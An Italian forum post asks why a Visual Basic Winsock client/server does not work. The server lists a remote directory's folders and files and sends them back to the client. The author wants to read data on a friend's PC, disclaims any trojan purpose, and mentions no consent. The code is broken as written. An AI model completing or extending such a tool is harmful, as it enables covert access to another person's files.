Nel Client ho inserito un listbox e accanto il command button. Nel command button ho inserito il seguente costrutto:
Se lo stato é connesso, allora WINSOCK.SENDADATA "Comando" & Listbox
Nel Server:
Nei Dati in Arrivo (Dati Arrival) ho inserito:
Dim Data As String
If Data = "comando" Then
SendFiles Data(1)
WINSOCK.SENDADATA "comandorispalclient"
Come funzione SendFiles
Sub SendFiles(Directory)
On Error GoTo Error_Handler
Dir1.Path = Directory
File1.Path = Directory
Dim totd, totf, tot
For i = 0 To Dir1.ListCount - 1
totd = totd & Dir1.List(i) & "\" & Chr(13) & Chr(10)
Next i
For i = 0 To File1.ListCount - 1
totf = totf & File1.Path & File1.List(i) & Chr(13) & Chr(10)
Next i
tot = totd & totf
WINSOCK.SendData "comando" & tot
Error_Handler:
Exit Sub
End Sub
dovrebbe funzionare, ma non sò perchè il tutto non và! Ci stò sbattendo la testa da un bel pò.
Lo scopo del mio progetto non é quello di un trojan ma è solo quello di leggere dei dati all interno del pc di un mio amico. Tutto qui.
Stavo pensando di richiamare nel Server tutte le Cartelle Speciali, ma non ne sono sicuro..
Vi ringrazio anticipatamente e grazie per le vostre risposte..
|